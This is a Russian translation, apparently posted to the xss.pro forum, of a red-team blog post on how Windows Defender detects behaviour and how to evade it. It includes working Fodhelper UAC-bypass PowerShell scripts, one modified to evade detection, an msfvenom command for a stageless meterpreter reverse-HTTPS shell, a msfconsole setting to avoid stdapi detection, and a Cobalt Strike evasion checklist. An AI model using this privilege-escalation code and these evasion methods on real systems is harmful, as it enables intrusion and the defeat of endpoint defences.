Для хорошо известных C2-фреймворков, таких как Кобаль, наиболее распространенным вариантом является шифрование памяти. Но если у вас нет доступа к исходному коду, в любом случае невозможно изменить его, чтобы избежать обнаружения памяти. C2-Frameworks в целом являются хорошими кандидатами для этой техники, так как большую часть времени они спят. И если программа ничего не делает, содержимое ее памяти может быть зашифровано в этот период времени без каких-либо проблем.
Обнаружения на основе поведения — некоторые примеры и способы обхода
Но какое поведение может вызвать действие AV/EDR или сканирование памяти во время выполнения? Это может быть в принципе все. Запись данных в память, загрузка определенных библиотек в определенном порядке и/или в определенный период времени, создание записей в реестре, выполнение первоначальных HTTP-запросов или любые другие действия.
Я приведу здесь несколько примеров с соответствующими методами обхода для Защитника.
По моему личному опыту, наименее распространенное действие, которое AV/EDR делает после обнаружения определенного поведения, — это мгновенное уничтожение Процесса. Почему это? Что ж, поставщики AV/EDR не хотят получать слишком много ложноположительных результатов. Поскольку ложноположительные результаты с действием по уничтожению процесса могут привести к сбоям в производственной среде, что очень плохо. Таким образом, они должны быть почти на 100% уверены, что поведение определенно является вредоносным ПО, чтобы убить соответствующий процесс. Это также является причиной того, что многие поставщики впоследствии объединяют обнаружение поведения со сканированием памяти, чтобы убедиться, что они обнаружили что-то вредоносное.
Пример обхода UAC Fodhelper
Одним из хороших примеров обнаружения на основе поведения, которое приводит к действию AV, является обход UAC Fodhelper с помощью Защитника Windows. Этот действительно хорошо известен, но его также очень легко использовать, так как он просто создает запись в реестре и вызывает ее fodhelper.exeпосле:
<#
.SYNOPSIS
This script can bypass User Access Control (UAC) via fodhelper.exe
It creates a new registry structure in: "HKCU:\Software\Classes\ms-settings\" to perform UAC bypass and starts
an elevated command prompt.
.NOTES
Function : FodhelperUACBypass
File Name : FodhelperUACBypass.ps1
Author : netbiosX. - pentestlab.blog
.LINKS
https://gist.github.com/netbiosX/a114f8822eb20b115e33db55deee6692
https://pentestlab.blog/2017/06/07/uac-bypass-fodhelper/
.EXAMPLE
Load "cmd /c start C:\Windows\System32\cmd.exe" (it's default):
FodhelperUACBypass
Load specific application:
FodhelperUACBypass -Program "cmd.exe"
FodhelperUACBypass -Program "cmd.exe /c powershell.exe"
#>
function FodhelperUACBypass(){
Param (
[String]$Program = "cmd /c start C:\Windows\System32\cmd.exe" #default
)
#Create Registry Structure
New-Item "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force
New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "DelegateExecute" -Value "" -Force
Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "(default)" -Value $Program -Force
#Start fodhelper.exe
Start-Process "C:\Windows\System32\fodhelper.exe" -WindowStyle Hidden
#Cleanup
Start-Sleep 3
Remove-Item "HKCU:\Software\Classes\ms-settings\" -Recurse -Force
}
Этот вырезанный код был взят отсюда - (https://gist.github.com/netbiosX/a114f8822eb20b115e33db55deee6692)
Выполнение этого кода с включенным Защитником приведет к следующему обнаружению:
Это оповещение не уничтожает ни выполняющийся, ни только что порожденный процесс, но все же может привести к обнаружению в любом столкновении. Само обнаружение нельзя обойти с помощью обхода AMSI, и установка исправлений ETW также не помогает. Потому что это конкретное поведение вызывает это предупреждение.
Я провел небольшой анализ методом проб и ошибок того, что именно здесь помечено, и обнаружил, что Защитнику не нравятся никакие .exe в записи HKCU:\Software\Classes\ms-settings\Shell\Open\command(Default) как а также каталоги *C:\windows\system32* и *C:\windows\syswow64*.
Таким образом, поведение, которое вызывает оповещение, заключается в создании записи реестра в упомянутом каталоге с одной из строк.
К счастью для нас, нам не нужно указывать .exe для запуска двоичного файла, а также оба каталога не обязательно нужны для эксплуатации. Таким образом, в качестве альтернативы мы могли бы просто скопировать, например, C2-стейджер в любой доступный для записи каталог и выполнить его с обходом UAC без вызова расширения.
Но в 2022 году многие сотрудники OffSec осознают тот факт, что запуск любых неподписанных исполняемых файлов в системе с установленным AV/EDR может быть не очень хорошей идеей. Поэтому в качестве альтернативы мы могли бы также запустить любой подписанный доверенный исполняемый файл и поместить соответствующую DLL-библиотеку боковой загрузки в тот же каталог. Третий вариант: мы можем скопировать rundll32.exe в наш каталог, доступный для записи, и запустить его оттуда:
function FodhelperUACBypass(){
Param (
[String]$run = "C:\temp\peng C:\temp\calc.dll,NimMain" #NimMain only for Nim Dlls ;-)
)
# Copy C:\windows\system32\rundll32.exe to C:\temp\Peng.exe
copy C:\windows\system32\rundll32.exe C:\temp\Peng.exe
#Create Registry Structure
New-Item "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force
New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "DelegateExecute" -Value "" -Force
Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "(default)" -Value $run -Force
#Start fodhelper.exe
Start-Process "C:\Windows\System32\fodhelper.exe"
#Cleanup
Start-Sleep 3
Remove-Item "HKCU:\Software\Classes\ms-settings\" -Recurse -Force
}
Обнаружения на основе поведения Meterpreter
Поскольку многие люди также спрашивали меня о том, почему их MSF-Payloads все еще помечаются, я решил также показать некоторую (ничего нового, все уже где-то опубликовано) справочную информацию об этом.
Для начала: не используйте поэтапные полезные нагрузки, они всегда будут обнаружены, по крайней мере, Защитником, и я не планирую изменять исходный код метерпретера в этом посте.
Так что в нашем случае мы будем генерировать бесэтапный реверс шелл-код HTTPS для выполнения. Это можно сделать, например, с помощью следующей команды:
msfvenom -p windows/x64/meterpreter_reverse_https LHOST=(IP Address) LPORT=(Your Port) -f raw > Shellcode.bin
Я не буду описывать здесь скрытый способ выполнения этого шелл-кода, так как хочу показать поведенческое обнаружение, но в целом вам понадобится следующее:
- Зашифруйте шелл-код и расшифруйте его во время выполнения, чтобы избежать подписей на диске, или, в качестве альтернативы, загрузите его с удаленного веб-сервера во время выполнения.
- Используйте прямые или косвенные системные вызовы для выполнения, в противном случае шелл-код будет помечен перед выполнением.
В этом случае нет необходимости в исправлении AMSI/ETW для запуска метерпретера.
Но даже если вы обходили обнаружение на основе сигнатур на диске и обнаружение шелл-кода с помощью системных вызовов, вы должны увидеть один новый входящий сеанс метерпретера:
Но это всего лишь означает, что наша первоначальная полезная нагрузка была успешно выполнена. Спустя секунду процесс завершается, и появляется следующее обнаружение:
И опять же, это обнаружение на основе поведения, которое запускается дополнительными DLL-файлами, загружаемыми через простые API-интерфейсы Win32 и рефлексивную технику внедрения DLL. В этом случае внедрение stdapi-DLL вызвало предупреждение.
В командной строке msfconsole вы можете передать следующую команду, чтобы отключить загрузку DLL stdapi :
set autoloadstdapi false
После этого вы должны, получить входящий сеанс метерпретера:
Однако отключение загрузки stdapi приведет к тому, что у вас почти не будет команд/модулей в сеансе метерпретера, и будут доступны только "основные команды".
Подождав несколько минут, вы можете загрузить stdapi вручную с помощью следующей команды, и обнаружения по-прежнему не должно быть:
О чем это обнаружение на основе поведения? Я не могу сказать на 100% наверняка, но, скорее всего, это комбинация:
Недавно созданный процесс
- Временной интервал x для нового процесса, пока не будут вызваны определенные API-интерфейсы Windows для отражающей загрузки DLL.
- Сканирование памяти для проверки вредоносного содержимого
- Обнаружение метерпретера в памяти и действие по уничтожению процесса
Примечание. Это только ОДИН возможный способ обойти обнаружение на основе поведения Defenders Meterpreter. И я предполагаю, что команда Microsoft Defender добавит дополнительные проверки после публикации этого сообщения, как это произошло с некоторыми другими моими видео или сообщениями. Так что в какой-то момент вам придется искать альтернативы самостоятельно. Моя основная цель — не объяснить, как заставить Meterpreter работать, а дать вам представление о том, что происходит.
Как уже упоминалось в этом посте выше, одним из основных способов обхода сканирования памяти является модификация исходного кода, чтобы избежать сигнатур в памяти. Поскольку это обнаружение на основе поведения, как и многие другие обнаружения C2-Payload, проверяется сканированием памяти, это еще один вариант изменения исходного кода. Один автоматизированный подход к запутыванию исходного кода метерпретера был опубликован в этом сообщении в блоге. Мы пошли по этому пути — с дополнительными ручными модификациями — и смогли избежать этого обнаружения с включенной автоматической загрузкой stdapi. Если вы хотите это сделать, будьте готовы провести несколько дней с базой кода Meterpreter.
Третий способ — шифрование памяти — не так просто выполнить для метерпретера, поскольку исходный код HTTP/HTTPS не работает, как многие другие C2-Frameworks, с точки зрения ожидания в течение периода времени x перед запросом команд. Это просто отбрасывание множества запросов HTTP(S) с небольшими задержками между ними. Таким образом, шифрование памяти нарушит этот процесс. Если вы хотите пойти по этому пути, вам необходимо самостоятельно интегрировать пользовательскую функцию Sleep с шифрованием памяти в исходный код.
Cobalt Strike Detections и мое личное путешествие с ними
Cobalt Strike, скорее всего, является наиболее проверенной и наиболее глубоко проанализированной C2-Framework. Скорее всего, это связано с тем, что в последние годы он использовался многими различными злоумышленниками в дикой природе. Не изменять настройки по умолчанию нельзя будет использовать в большинстве сред, так как это будет мгновенно обнаружено.
Даже использование специального упаковщика/загрузчика с системными вызовами для выполнения шелл-кода во многих средах все равно приведет к сбою. Итак, я объясню, по крайней мере, самые минимальные требования и модификации, которые вам нужно будет выполнить как оператору при использовании этой платформы. Я никоим образом не являюсь профессиональным пользователем Кобальта, у меня всего один год опыта работы с ним - чтение всей документации и опробование различных инструментов/настроек. Поэтому я могу упустить некоторые вещи, которыми пользуются более опытные Операторы.
Минимальные требования C2-сервера/инфраструктуры:
- Отключите постановку в профиле "Malleable " — если она включена, ваш имплант будет сожжен почти мгновенно, так как в Интернете есть множество автоматизированных сканеров, которые загружают вторую стадию для анализа и обмена ею.
- Вы должны использовать настраиваемый Malleable C2-профиль с множеством различных важных настроек уклонения, чтобы избавиться хотя бы от некоторых обнаружений. У меня был хороший опыт работы с профилями, созданными SourcePoint.
- Необходимо использовать редиректор перед C2-Server. Этот перенаправитель должен отбрасывать/блокировать известные диапазоны IP-адресов анализа песочницы и разрешать и перенаправлять только те запросы, которые соответствуют профилю Malleable C2. Хорошими примерами инструментов для автоматизации этого процесса являются RedWarden или RedGuard. Неиспользование этой техники, скорее всего, приведет к ожогу имплантата. С его помощью также можно избежать снятия отпечатков пальцев и обнаружения сервера Кобальта после первого подключения, как упоминалось, например, в этом сообщении в блоге MDSec.
Минимальные требования к имплантату:
- Используйте шифрование/обфускацию и расшифровку/деобфускацию во время выполнения для упаковки шелл-кода. Если вы этого не сделаете, ваш загрузчик будет помечен подписью на диске или в памяти (в зависимости от того, как вы его загружаете)
- Используйте прямые или косвенные системные вызовы для выполнения CS-шеллкода или для загрузки артефакта из памяти. Невыполнение этого требования приведет к мгновенному обнаружению в большинстве сред, поскольку шеллкод всегда имеет одни и те же IoC и будет очень легко обнаружен перехватчиками AV/EDR.
- Используйте ключи среды, чтобы обойти потенциальную песочницу или автоматический анализ облачной отправки EDR.
- Вы должны изменить шаблон маски для Sleep в Кобальте с помощью Arsenal Kit. Если этот параметр включен в гибком - C2-профиле, маячок будет шифровать как память кучи, так и память стека, чтобы скрыть себя от сканеров памяти после успешного выполнения. Но поскольку этот исходный код маски сна по умолчанию сам по себе также сильно нацелен на сигнатуры AV/EDR и, следовательно, также будет помечен сканерами памяти. Вы не должны использовать для этого какой-либо немодифицированный общедоступный код шифрования Github Sleep, так как он также будет помечен.
Все эти пункты (кроме модификаций маски Sleep) могут быть выполнены либо с помощью полностью пользовательского пакера/доадера, либо с помощью набора Arsenal Kit, который уже содержит множество шаблонного кода для начала. Если вы планируете использовать Arsenal Kit, вам необходимо ознакомиться с C/C++ и внести серьезные изменения в код шаблона, чтобы избавиться от обнаружений (это, по крайней мере, то, что мне сказали другие люди в сообществе, которые пошли по этому пути). Лично я всегда использовал вывод исходного шеллкода и свой собственный пользовательский упаковщик/загрузчик для реализации упомянутых выше вещей.
Модификации Sleep маски также применяются к выводу необработанного шеллкода, поэтому вы даже можете изменить его в наборе Arsenal Kit при использовании собственного пользовательского загрузчика. Я запустил CS против Защитника с упомянутыми модификациями, однако Защитник для конечной точки по-прежнему обнаруживал многие варианты поведения в моих тестах.
Примечание: Даже если вы выполнили все указанные требования, ваш имплантт все равно может быть обнаружен в зрелых средах. В зависимости от того, какой EDR используется в вашей целевой среде, этого недостаточно. Остались еще некоторые проблемы:
- Не думайте, что вы выиграли, если у вас есть входящее соединение маячка. Во многих средах мне удавалось запустить маячок, но после выполнения одной команды/модуля имплантат мгновенно обнаруживался и уничтожался. Как я уже сказал, кобальт, скорее всего, является наиболее одобренным фреймворком, взгляните, например, на эти правила yara (https://github.com/elastic/protecti...in/yara/rules/Windows_Trojan_CobaltStrike.yar), и вы увидите, что поставщики реализовали правила обнаружения почти для каждой команды/модуля. Эти обнаружения, основанные на поведении, заставили меня лично использовать кобальт только для инициации обратного соединения Socks и ничего больше, чтобы избежать локальных системных IoC и делать все по сети через socks. Таким образом, во многих моих проектах кобальт более или менее стал самостоятельным программным обеспечением для обратного прокси-сервера socks5.
- В вашей целевой среде может быть синяя команда и/или охотники за угрозами. Даже простые IoC могут привести к ручному анализу/проверке. В этом случае вам нужно будет знать о многих более глубоких методах уклонения. Для автоматического анализа AV/EDR может подойти простое шифрование памяти, но в этом случае вам нужно будет избегать многих других IoC, таких как разрешения памяти RWX/RX, вы не можете использовать Win32 Sleep, так как это легко обнаружить, и многие другие вещи, которые нужно упомянуть.. Взгляните на этот пост и связанные ссылки/инструменты, чтобы получить представление о теме.
- В некоторых средах мой маячок/процесс даже обнаруживался до обратного вызова. Я не могу сказать, о чем были эти обнаружения, и я понятия не имел, как их обойти, если честно.
Некоторые более опытные пользователи кобальта намекнули мне на почти безграничные возможности определяемых пользователем отражающих загрузчиков (UDRL), таких как TitanLdr. Настроить поведение Cobalt Strike с помощью параметров гибкого профиля в зрелых средах недостаточно. Например, Core всегда будет использовать Win32 API (с потенциальными обнаружениями) вместо прямых системных вызовов. Пока кто-нибудь не интегрирует опцию Syscall с Update. Но с помощью UDRL вы также можете изменить все поведение Cobalt Strike Core, используя хуки импорта таблицы адресов. Например, вы можете перехватить VirtualProtect ядра, чтобы он стал NtProtectVirtualMemory.
Таким образом, вместо использования Custom Packer/Loader или Arsenal Kit с модификациями это может быть самый незаметный способ придерживаться UDRL из-за текущих ограничений самого CS-Core.
Лично для меня это был уже не вариант. Подключить IAT для изменения ядра программного обеспечения с закрытым исходным кодом только для обхода основанных на поведении обнаружений? В какой-то момент я решил хотя бы на данный момент не копаться все глубже и глубже во внутренностях Windows, просто чтобы запустить C2-соединение с этим фреймворком. После одного года использования всего нескольких сред без обнаружения и некоторых с обратным прокси-сервером Socks я решил использовать другие фреймворки. Раньше мне всегда было хорошо без CS, и в будущем все будет хорошо.
Действительно ли нужны все эти методы уклонения?
Я хотел бы включить фундаментальный вопрос в этот пост. Все это действительно нужно? Нужно ли использовать системные вызовы? Нужно ли использовать шифрование памяти? Нужно ли расцеплять все вещи? Нужно ли обходить AMSI или ETW? Стоит ли этот инструмент, известный как вредоносный, дополнительных усилий по уклонению?
Очень простой ответ на это, исходя из моих текущих знаний и точки зрения, - нет ! Почему нет? Что ж, я думаю, что индустрия информационной безопасности действительно подталкивала друг друга к новым и новым ограничениям на протяжении всех этих лет. Но все эти приемы уклонения как-то до сих пор просто используются для обхода сигнатур.
Если вы используете самогенерируемый шеллкод, можно снова придерживаться API Win32. WriteProcessMemory или CreateThread приведут к обнаружению входных аргументов и к анализу точки входа шеллкода. Но если у него нет известной вредоносной подписи, он будет работать нормально и не будет заблокирован.
Если вы используете внутренние инструменты или сильно модифицированный код с открытым исходным кодом, AMSI никогда вас не поймает, потому что он ищет известные сигнатуры.
Если вы используете сильно запутанную OpenSource C2-Framework или опять-таки самостоятельно разработанную среду — сканирование памяти вас не поймает. Конечно, вы не хотите дарить синей команде простой C2-стейджер из памяти, поэтому использование шифрования в этом случае все же имеет смысл.
Это, конечно, очень гипотетический мир. Большинство консалтинговых компаний в области ИТ-безопасности не тратят столько времени и денег на разработку и исследования, которые соответствовали бы этим условиям. У Threat-Actors также будет ограничение по бюджету. Поэтому большинство придерживается либо инструментов с открытым исходным кодом, либо коммерческого программного обеспечения, потому что это экономит время и деньги.
Но, с моей точки зрения, люди должны знать об этом факте, так как для многих инструментов тяжелые модификации являются разовыми усилиями. Пока вы не публикуете код. Если вы тратите несколько часов на модификации в течение многих лет каждую неделю, вам, возможно, больше не понадобится обходить AMSI. Если вы разработали собственный C2, вам не обязательно заботиться о некоторых методах уклонения.
Что вы думаете?
Заключение
С одной стороны, я хотел использовать эту статью, чтобы дать обзор того, что Пакер может технически обойти, и в какой момент Оператор должен действовать сам. Надеюсь, некоторые вещи должны быть ясны:
- Оператор должен знать, что делает его полезная нагрузка
- Оператор должен знать об индикаторах компрометации (IoC) для своих полезных нагрузок.
- Обнаружения на основе поведения могут быть обойдены только самим оператором с помощью модификации полезной нагрузки.
С другой стороны, я показал несколько примеров того, как обойти основанные на поведении обнаружения от Защитника для
- Обход UAC Fodhelper
- Метерпретера
- Кобальта
Что касается обнаружения Кобальта в других зрелых средах —, какой-то момент я перестал копать глубже, так как для меня это было слишком похоже на BlackBox. Я все еще в восторге от его будущего развития и буду следить за всеми этими изменениями. Кто знает, может быть, когда-нибудь я возьму его снова изучать.
Пост закончился фундаментальным вопросом о том, нужны ли вообще все эти вещи. Иногда вы не сможете обойти это, потому что программное обеспечение/инструмент имеет закрытый исходный код и известно как вредоносное. Я лично считаю, что это не так. Но это просто зависит от того, какую полезную нагрузку вы используете. При использовании пользовательских инструментов или обфускации многие методы уклонения вообще не нужны. Но поскольку пользовательские инструменты или серьезная модификация каждого инструмента требуют больших усилий, во многих случаях приходится принимать альтернативу все большему количеству методов уклонения. В какой-то момент вам просто нужно задаться вопросом, стоит ли дополнительных усилий по уклонению заставить работать известную вредоносную полезную нагрузку. Мне любопытно, к чему приведет это давление в ближайшие годы. Может быть, когда-нибудь наступит точка, когда люди предпочтут разовые усилия постоянной современной практике уклонения.
Линки для чтения
- Yara https://github.com/Yara-Rules/rules
- Elastic Mimikatz Yara rule https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Hacktool_Mimikatz.yar
- Entropy based Detections https://practicalsecurityanalytics.com/file-entropy/
- SleepKiller https://github.com/ZeroMemoryEx/SleepKiller
- Fodhelper UAC Bypass https://pentestlab.blog/2017/06/07/uac-bypass-fodhelper/
- Reflective DLL Injection https://github.com/rapid7/ReflectiveDLLInjection/tree/fac3adab1187deade60eef27be8423ee117c1e1f
- Meterpreter stdapi https://github.com/rapid7/metasploit-Payloads/tree/master/c/meterpreter/source/extensions/stdapi
- Engineering antivirus evasion (Part III) https://blog.scrt.ch/2022/04/19/3432/
- Environmental Keying https://attack.mitre.org/techniques/T1480/001/
- Cobalt Strike Yara rules https://github.com/elastic/protecti...in/yara/rules/Windows_Trojan_CobaltStrike.yar
- Avoiding Memory Scanners https://blog.kyleavery.com/posts/avoiding-Memory-Scanners/
- TitanLdr https://github.com/SecIdiot/TitanLdr
Переведено специально для xss.pro
Автор перевода: yashechka
Источник: https://s3cur3th1ssh1t.github.io/Signature_vs_Behaviour/